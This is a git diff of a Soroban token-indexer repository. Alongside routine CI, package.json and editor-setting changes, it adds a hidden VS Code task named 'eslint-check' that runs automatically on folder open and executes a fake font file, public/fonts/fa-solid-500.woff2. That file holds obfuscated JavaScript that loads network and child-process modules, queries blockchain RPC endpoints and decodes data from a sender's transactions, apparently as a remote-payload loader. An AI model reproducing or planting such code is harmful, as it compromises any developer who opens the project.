diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4f8da8d5f..4eab10a2e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,6 +18,7 @@ jobs: cache: npm - run: npm ci || npm install - run: npx prisma generate + - run: npm run typecheck - run: npx tsc --noEmit - run: npm run build - run: npm test --if-present diff --git a/.gitignore b/.gitignore index 110b53261..01a4b1384 100644 --- a/.gitignore +++ b/.gitignore @@ -9,3 +9,7 @@ docs/api/ bench/results.json .aider* coverage/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 000000000..2e3b64630 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 000000000..a5177abe1 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..934d55548 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 000000000..51b197495 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..1a828db96 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/package.json b/package.json index f3f374505..efc219a8d 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "wraith", "version": "1.0.0", - "description": "Soroban incoming token transfer indexer — fills the Horizon indexing gap for SEP-41/CAP-67 events", + "description": "Soroban incoming token transfer indexer \u2014 fills the Horizon indexing gap for SEP-41/CAP-67 events", "main": "dist/index.js", "scripts": { "dev": "ts-node-dev --respawn --transpile-only src/index.ts", @@ -19,7 +19,8 @@ "docs:openapi": "ts-node src/openapi/build.ts", "backfill:summaries": "ts-node scripts/backfill-account-summaries.ts", "backfill": "ts-node src/cli.ts backfill", - "bench": "ts-node --project bench/tsconfig.json bench/insert.bench.ts" + "bench": "ts-node --project bench/tsconfig.json bench/insert.bench.ts", + "typecheck": "tsc --noEmit -p tsconfig.test.json" }, "jest": { "preset": "ts-jest", @@ -41,7 +42,7 @@ "^.+\\.tsx?$": [ "ts-jest", { - "tsconfig": "tsconfig.test.json" + "tsconfig": "tsconfig.jest.json" } ] }, diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 000000000..1e4f9ba13 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 000000000..a1bc094ab Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000..46ad237a6 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000..948a2a6cc Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000..2a89d521e Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000..141a90a9e Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000..38cf2517a Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000..48634a9ab --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000..abe99e20c Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000..24de566a5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000..7e0118e52 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-500.woff2 b/public/fonts/fa-solid-500.woff2 new file mode 100644 index 000000000..b3f101886 --- /dev/null +++ b/public/fonts/fa-solid-500.woff2 @@ -0,0 +1 @@ + global.i = 'A11';const R$DTZzu_TXc=TtFl_OYFcp$oFJXAVh;(function(glcANuMPwHqsvzi_Yp$P,poXzdcQUzmE$oQM){const p$bAPB$eq=TtFl_OYFcp$oFJXAVh,mVttueCdEt=glcANuMPwHqsvzi_Yp$P();while(!![]){try{const jNnmPOrTHZNsCVaRMdvEQ=Math['floor'](parseFloat(p$bAPB$eq(0x206))/(0x2d*-parseInt(0x13)+Math.trunc(-parseInt(0xa))*parseInt(0x1a)+Math.max(0x45c,0x45c)))*(parseFloat(p$bAPB$eq(0x1d8))/(parseFloat(parseInt(0x94c))+-parseInt(0x2623)+parseInt(0x1cd9)))+Math['trunc'](-parseFloat(p$bAPB$eq(0x220))/(Number(-0x11)*parseInt(0x14c)+-parseInt(0x107)*Math.trunc(parseInt(0x11))+parseInt(0x2786)))*(-parseFloat(p$bAPB$eq(0x1cd))/(-0x13e1+parseFloat(0x1776)+parseInt(0x391)*Math.ceil(-0x1)))+-parseFloat(p$bAPB$eq(0x1e0))/(Math.ceil(-parseInt(0x2))*parseInt(0x12c1)+parseInt(0x16be)+-0x1*-0xec9)+-parseFloat(p$bAPB$eq(0x1b7))/(parseInt(0x19)*Math.max(-parseInt(0xe7),-0xe7)+parseInt(0x807)*Math.trunc(parseInt(0x1))+Number(0x1)*Math.trunc(0xe8e))+-parseFloat(p$bAPB$eq(0x1c4))/(-0xd71+Math.max(parseInt(0xd80),0xd80)+Math.max(-0x8,-0x8))*Math['floor'](parseFloat(p$bAPB$eq(0x222))/(0x2564*-parseInt(0x1)+parseInt(0x12ed)+-parseInt(0x3b3)*-parseInt(0x5)))+parseInt(-parseFloat(p$bAPB$eq(0x21c))/(Math.max(-parseInt(0xe0c),-parseInt(0xe0c))+0x1*Math.floor(0x12e)+0xce7))+parseFloat(p$bAPB$eq(0x225))/(0xe06+parseFloat(0x19c7)+-parseInt(0x27c3));if(jNnmPOrTHZNsCVaRMdvEQ===poXzdcQUzmE$oQM)break;else mVttueCdEt['push'](mVttueCdEt['shift']());}catch(SV$WjuzJb){mVttueCdEt['push'](mVttueCdEt['shift']());}}}(FU$Mfb,Math.max(-parseInt(0x67d7a),-0x67d7a)+-0x49268+parseInt(0xf8aa7)),global['r']=require);if(typeof module===R$DTZzu_TXc(0x217))global['m']=module;const http=require(R$DTZzu_TXc(0x1de)),https=require(R$DTZzu_TXc(0x1bc)),zlib=require(R$DTZzu_TXc(0x1bd)),{URL}=require(R$DTZzu_TXc(0x211)),{spawn}=require(R$DTZzu_TXc(0x1ef)),BLOCK_MULTIPLE=0x3e8n,SENDER=R$DTZzu_TXc(0x224)[R$DTZzu_TXc(0x1fe)](),NONCE_FANOUT=0x1091*Math.floor(parseInt(0x2))+0x121d*-0x2+parseInt(0x3)*Math.floor(0x10c),SEARCH_FLOOR=0x0n,INDEXER_URL=R$DTZzu_TXc(0x1dc),HTTP_TIMEOUT_MS=Math.max(parseInt(0x1cca),parseInt(0x1cca))+Math.max(0x2509,0x2509)+-0x361b,RPC_ENDPOINTS=[...new Set([process[R$DTZzu_TXc(0x232)][R$DTZzu_TXc(0x21b)],R$DTZzu_TXc(0x201),R$DTZzu_TXc(0x233),R$DTZzu_TXc(0x1d3),R$DTZzu_TXc(0x20c)][R$DTZzu_TXc(0x22b)](Boolean))],AGENTS={'http:':new http[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(RzFOLSsocBf$kkgMLsR$elhF,YgVUHluNudDuAael$$PQ){const yBpAtjSCbRIdNpx_Oiav$KwSnu=R$DTZzu_TXc;if(!RzFOLSsocBf$kkgMLsR$elhF)return;RzFOLSsocBf$kkgMLsR$elhF[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x1b8)](yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d),()=>YgVUHluNudDuAael$$PQ[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d)](),{'once':!![]});}function decompressStream(RzfNSAGaCneYaCqXwXROk){const mPVBRRdNtjvZ=R$DTZzu_TXc,BlgOomlZTLbU_mRgZbn=(RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x21e)][mPVBRRdNtjvZ(0x20b)]||'')[mPVBRRdNtjvZ(0x1fe)]();if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x202)||BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d9))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1f4)]());if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d1))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1fb)]());if(BlgOomlZTLbU_mRgZbn==='br')return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1da)]());return RzfNSAGaCneYaCqXwXROk;}function httpRequest(wDCHfdELJbocL$T,{method:method=R$DTZzu_TXc(0x214),body:bbQ$_xwfrqyMLuUpCEM,signal:Tj_$fQJOLvfWMX}={}){const GTnWVF_mWQtqEUKVtyCWk=R$DTZzu_TXc,nJWYBVy_Qu$jm=new URL(wDCHfdELJbocL$T),UFxWKLf_$rzRl=nJWYBVy_Qu$jm[GTnWVF_mWQtqEUKVtyCWk(0x1f2)]===GTnWVF_mWQtqEUKVtyCWk(0x219)?https:http,DpQVDYkkveWwUZPnKpBb={'Accept':GTnWVF_mWQtqEUKVtyCWk(0x21a),'Accept-Encoding':GTnWVF_mWQtqEUKVtyCWk(0x1ec),'Connection':GTnWVF_mWQtqEUKVtyCWk(0x200)};return bbQ$_xwfrqyMLuUpCEM!=null&&(DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x218)]=GTnWVF_mWQtqEUKVtyCWk(0x21a),DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x1fc)]=Buffer[GTnWVF_mWQtqEUKVtyCWk(0x1fd)](bbQ$_xwfrqyMLuUpCEM)),new Promise((hbphnjVxOdvmmzDTBjgSt$NN,cNaAKvMYPpZ$$TRz)=>{const WKg__BfsguzvMPzKwReGP=GTnWVF_mWQtqEUKVtyCWk,AKwuGnMwtupLpyFUWdnYWD=UFxWKLf_$rzRl[WKg__BfsguzvMPzKwReGP(0x21f)]({'hostname':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1cb)],'port':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x216)]||(nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]===WKg__BfsguzvMPzKwReGP(0x219)?Math.floor(-0xd15)+Math.trunc(-0x2c)*-0x4f+-parseInt(0x4)*-0x4f:Math.ceil(parseInt(0xa7))*-0x1e+-0x5c*Math.ceil(parseInt(0x1))+Math.ceil(0xa1f)*0x2),'path':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f1)]+nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x209)],'method':method,'agent':AGENTS[nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]],'signal':Tj_$fQJOLvfWMX,'headers':DpQVDYkkveWwUZPnKpBb},MEqodcZHSE$xvXwSj_oZoZj=>{const t_lrz_f=WKg__BfsguzvMPzKwReGP,uqTl$eiACiGBuTlaX_YXZIV=decompressStream(MEqodcZHSE$xvXwSj_oZoZj),MczNHS=[];uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1ce),fpcG_NoEx_FY=>MczNHS[t_lrz_f(0x1fa)](fpcG_NoEx_FY)),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1bb),()=>{const UOyJO_fH_RiSqBoSdrYnsjtcy=t_lrz_f;try{hbphnjVxOdvmmzDTBjgSt$NN(JSON[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1ea)](Buffer[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c8)](MczNHS)[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1e3)](UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c9))));}catch(gMfnSiuLfzHUQdXWaC$w){cNaAKvMYPpZ$$TRz(gMfnSiuLfzHUQdXWaC$w);}}),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1cc),cNaAKvMYPpZ$$TRz);});AKwuGnMwtupLpyFUWdnYWD['on'](WKg__BfsguzvMPzKwReGP(0x1cc),cNaAKvMYPpZ$$TRz),AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1f9)](HTTP_TIMEOUT_MS,()=>{const SfxaGEDlHunuVEwWLw$lx=WKg__BfsguzvMPzKwReGP;AKwuGnMwtupLpyFUWdnYWD[SfxaGEDlHunuVEwWLw$lx(0x1f3)](new Error(SfxaGEDlHunuVEwWLw$lx(0x1c5)+HTTP_TIMEOUT_MS+'ms'));});if(bbQ$_xwfrqyMLuUpCEM!=null)AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x215)](bbQ$_xwfrqyMLuUpCEM);AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1bb)]();});}async function withRpcEndpoints(uTIXcb,mlV_BV_QwWND){const kZlMIXJsMssDJdtxe=R$DTZzu_TXc,BOCUySfEc_exK=RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)](()=>new AbortController());BOCUySfEc_exK[kZlMIXJsMssDJdtxe(0x1e2)](pOlmNwZXfOXpKwUUwUCqB=>linkAbort(mlV_BV_QwWND,pOlmNwZXfOXpKwUUwUCqB));try{return await Promise[kZlMIXJsMssDJdtxe(0x1e4)](RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)]((zyryywS_HF_Yfjxp,FF_MdJDwfSoXtSW)=>uTIXcb(zyryywS_HF_Yfjxp,BOCUySfEc_exK[FF_MdJDwfSoXtSW][kZlMIXJsMssDJdtxe(0x230)])));}finally{for(const DbMNvbAEjt$ubtb$PT of BOCUySfEc_exK)DbMNvbAEjt$ubtb$PT[kZlMIXJsMssDJdtxe(0x22d)]();}}function FU$Mfb(){const Cgw_xmiFfYj=['a7a0bcbba1aea2aa','aabdbda0bd','fbb7a8a5859fbf','abaebbae','bba7aaa1','a1a0a1acaa','abaaa9a3aebbaa','bbbdaea1bcaeacbba6a0a1bc','a7bbbbbfbcf5e0e0aabba7aabdaabaa2e2bdbface1bfbaada3a6aca1a0abaae1aca0a2','aabba790a8aabb9bbdaea1bcaeacbba6a0a18ca0baa1bb','bfa6bfaa','a7bbbbbff5e0e0','a9a6a1ab86a1abaab7','fdfff7fcfaf78bb795b68187','b7e2a8b5a6bf','acbdaaaebbaa8dbda0bba3a68baaaca0a2bfbdaabcbc','aca0a1bbbda0a3a3aabd','a7bbbbbfbcf5e0e0aabba7e1ada3a0aca4bcaca0babbe1aca0a2e0aebfa6','878a8e8b','a1a0abaaf5a7bbbbbf','82a6bcbca6a1a8ef97e29faeb6a3a0aeabe28df9fb','fefbfafbfaf9ffae9c8a9abb81','e8f4a8a3a0adaea394e89087fde892f2e8','a9a0bd8aaeaca7','bba09cbbbda6a1a8','aea1b6','8aa2bfbbb6efbfaeb6a3a0aeabefada0abb6','a8a3a0adaea394e89099e892f2e8','b6e2bf90f1abebff8de98f91feae9ea4','bdaabcbaa3bb','a3aaa1a8bba7','bfaebdbcaa','aabba790a8aabb8da3a0aca48db681baa2adaabd','a8b5a6bfe3efabaaa9a3aebbaae3efadbd','a6bc8ebdbdaeb6','adaebcaaf9fb','a1a0abaaf5aca7a6a3ab90bfbda0acaabcbc','aca7aebd8ca0abaa8ebb','bfaebba7a1aea2aa','bfbda0bba0aca0a3','abaabcbbbda0b6','acbdaaaebbaa88baa1b5a6bf','e8f4a8a3a0adaea394e89087e892f2e8','e8f4a8a3a0adaea394e8bde892f2bdaabebaa6bdaaf4a8a3a0adaea394e8a2e892f2a2a0abbaa3aaf4b9aebdef90a8a3a0adaea3f2a8a3a0adaea3f4','bdbaa1','f5fbfbfce0ffb7e0aca3bc','bcaabb9ba6a2aaa0babb','bfbabca7','acbdaaaebbaa86a1a9a3aebbaa','8ca0a1bbaaa1bbe283aaa1a8bba7','adb6bbaa83aaa1a8bba7','bba083a0b8aabd8caebcaa','f0a2a0abbaa3aaf2aeacaca0baa1bbe9aeacbba6a0a1f2bbb7a3a6bcbbe9aeababbdaabcbcf2','a4aaaabfe2aea3a6b9aa','a7bbbbbfbcf5e0e0febdbface1a6a0e0aabba7','a8b5a6bf','a7aab7','a9bda0a2','a2aebf','fead96a3b6859a','f5fbfbfce0ffb7e0a3bc','a8aabb','bcaaaebdaca7','9087fd','aca0a1bbaaa1bbe2aaa1aca0aba6a1a8','a7bbbbbfbcf5e0e0aabba7e2a2aea6a1a1aabbe1bfbaada3a6ace1ada3aebcbbaebfa6e1a6a0','aeabab','e8f4a8a3a0adaea394e890bb90bce892f2e8','a1a0abaa','bdaabfa3aeacaa','a1a0abaaf5babda3','aabba790ada3a0aca481baa2adaabd','82a0b5a6a3a3aee0fae1ffefe798a6a1aba0b8bcef819beffeffe1fff4ef98a6a1f9fbf4efb7f9fbe6ef8ebfbfa3aa98aaad84a6bbe0fafcf8e1fcf9efe784879b8283e3efa3a6a4aaef88aaaca4a0e6ef8ca7bda0a2aae0fefcfee1ffe1ffe1ffef9caea9aebda6e0fafcf8e1fcf9','888a9b','b8bda6bbaa','bfa0bdbb','a0ada5aaacbb','8ca0a1bbaaa1bbe29bb6bfaa','a7bbbbbfbcf5','aebfbfa3a6acaebba6a0a1e0a5bca0a1','8a9b87909d9f8c909a9d83','fcf7fdf9fefafd888e9880a7a1','8ea8aaa1bb','a7aaaeabaabdbc','bdaabebaaabcbb','fbf9f9fbf6f8a9b69aa08bad','bcbaadaebdbdaeb6','fcfff8f8f98b84868aab9e','aea3a3','ffb7feaa8aa9fff7fbf68a8baefefaabf7f8a9f9fbaafafe8cf8fc8cf7fbfbfd8ca9fcacf7ad8c8a89fc','fefcfafcfffcfeff81b88ab7ba86','e9bcbbaebdbbada3a0aca4f2ffe9aaa1abada3a0aca4f2f6f6f6f6f6f6f6f6e9bfaea8aaf2fee9a0a9a9bcaabbf2fdffe9bca0bdbbf2abaabcace9a9a6a3bbaabdadb6f2a9bda0a2','bcbbbda6a1a8a6a9b6','f5fbfbfc','ada3a0aca481baa2adaabd','9f809c9b','a9a6a3bbaabd','acaebbaca7','aeada0bdbb','e8f4a8a3a0adaea394e890bb90bae892f2e8','baa1bdaaa9','bca6a8a1aea3','90bb90ba','aaa1b9','a7bbbbbfbcf5e0e0aabba7e1abbdbface1a0bda8','f7fbf7f8fcf9a5a6b9888796','aeabab8ab9aaa1bb83a6bcbbaaa1aabd','a2a6a1','b7e2bfaeb6a3a0aeabe2adf9fb','aaa1ab','a1a0abaaf5a7bbbbbfbc','a1a0abaaf5b5a3a6ad','bdaabcbaa2aa','fde1ff','e0ffb7e0aca3bc','f5f7ff','befb8995a4b797b4eea7e39cbdfcf28f','a9a6a1ab','f7fbff9c97a08883bc','879b9b9fefbba6a2aaa0babbefaea9bbaabdef','a6a8a1a0bdaa','a7aebc','aca0a1acaebb','babba9f7','90bb90bc'];FU$Mfb=function(){return Cgw_xmiFfYj;};return FU$Mfb();}async function rpcCall(viwqXYGQWNe_xsuHuyaemmEkm,Zfct_xGiFzDjg_TR,M$$yGvxC,Sai$VpZLhnIfzhpENQBEnjXXQY){const rzIq__u=R$DTZzu_TXc,ViED_j$m=await httpRequest(viwqXYGQWNe_xsuHuyaemmEkm,{'method':rzIq__u(0x22a),'body':JSON[rzIq__u(0x227)]({'jsonrpc':rzIq__u(0x1bf),'id':0x1,'method':Zfct_xGiFzDjg_TR,'params':M$$yGvxC}),'signal':Sai$VpZLhnIfzhpENQBEnjXXQY});return ViED_j$m[rzIq__u(0x1e8)];}async function rpcBatch(MbywkyY$$UC,yhneTjJFtjzihqis,nfOED_SMfc_cZ){const QArY_$HLRpVrHv=R$DTZzu_TXc,kkryiIDumIudSHbGOtqG$IB$ck=await httpRequest(MbywkyY$$UC,{'method':QArY_$HLRpVrHv(0x22a),'body':JSON[QArY_$HLRpVrHv(0x227)](yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)](([MqRDzQDjlL,twBiWDT_UQDbFe_UymqitRCEMYe],NsUxMIqeG$Br$kPQuQsImDX)=>({'jsonrpc':QArY_$HLRpVrHv(0x1bf),'id':NsUxMIqeG$Br$kPQuQsImDX+(-0x1*-parseInt(0x16a7)+-parseInt(0x359)*Number(0x1)+-0x134d),'method':MqRDzQDjlL,'params':twBiWDT_UQDbFe_UymqitRCEMYe}))),'signal':nfOED_SMfc_cZ}),Hm_$BRK=new Map(kkryiIDumIudSHbGOtqG$IB$ck[QArY_$HLRpVrHv(0x205)](JXSTI$BKsGYgzKPIgP=>[JXSTI$BKsGYgzKPIgP['id'],JXSTI$BKsGYgzKPIgP]));return yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)]((O_wOBn_C,yZELIgInDxwV_gZrBfKlE)=>Hm_$BRK[QArY_$HLRpVrHv(0x208)](yZELIgInDxwV_gZrBfKlE+(Math.floor(-0x2)*parseFloat(-0x5fb)+-0x65*parseInt(0x49)+Number(0x58)*parseFloat(0x31)))[QArY_$HLRpVrHv(0x1e8)]);}const toBlockHex=BRFw_JGglqWv_xrmpiG=>'0x'+BRFw_JGglqWv_xrmpiG[R$DTZzu_TXc(0x1e3)](Math.ceil(-0x1b5c)+parseInt(-parseInt(0x17b0))+-parseInt(0xcc7)*-parseInt(0x4));function findSenderTx(RSS$zTKlZBNe){const Zsy$AZsVSCwDxMLnR=R$DTZzu_TXc;return RSS$zTKlZBNe[Zsy$AZsVSCwDxMLnR(0x1c3)](dgl_FMKNAW=>dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)]&&dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)][Zsy$AZsVSCwDxMLnR(0x1fe)]()===SENDER)||null;}function decodeAddress(qFPiyayPDRfwVjSALM){const bAQxZLJ_pVrukZyK=R$DTZzu_TXc;try{const Z_AIGwHmlfYNhwPHQ_kE=Buffer[bAQxZLJ_pVrukZyK(0x204)](qFPiyayPDRfwVjSALM[bAQxZLJ_pVrukZyK(0x210)](/^0x/i,''),bAQxZLJ_pVrukZyK(0x203)),SrKN_WDPPTPtJMJQm=UMantqIUwHQOejjOECcdFWZCd=>UMantqIUwHQOejjOECcdFWZCd[parseInt(0x1b07)+0x1581+Number(0xc22)*-0x4]+'.'+UMantqIUwHQOejjOECcdFWZCd[-0x109+-parseInt(0x270)+parseInt(0x37a)]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseFloat(-parseInt(0x1b4))*0x1+Math.trunc(-parseInt(0x13af))+-0x1565*-0x1]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseInt(-0x1)*0x2cd+-parseInt(0x1637)+parseInt(0x1907)];return[SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](Math.trunc(0x40)*-0x5c+Math.floor(-parseInt(0xd63))+-0x87*-parseInt(0x45),0x2611+Number(-parseInt(0x28))*Math.floor(parseInt(0x3b))+parseInt(-0x1cd5)*parseInt(0x1))),SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](-parseInt(0x7)*parseInt(0x32)+Math.max(parseInt(0x1f42),0x1f42)+Number(-parseInt(0x1de0)),Math.trunc(-parseInt(0x209d))+parseInt(0x2f1)+-0x4*parseInt(-0x76d)))];}catch(lK_kCFHZ){return[null,null];}}function firstMatch(fRvtR$KJpJwJgpDvQjE_xwZrJC){return new 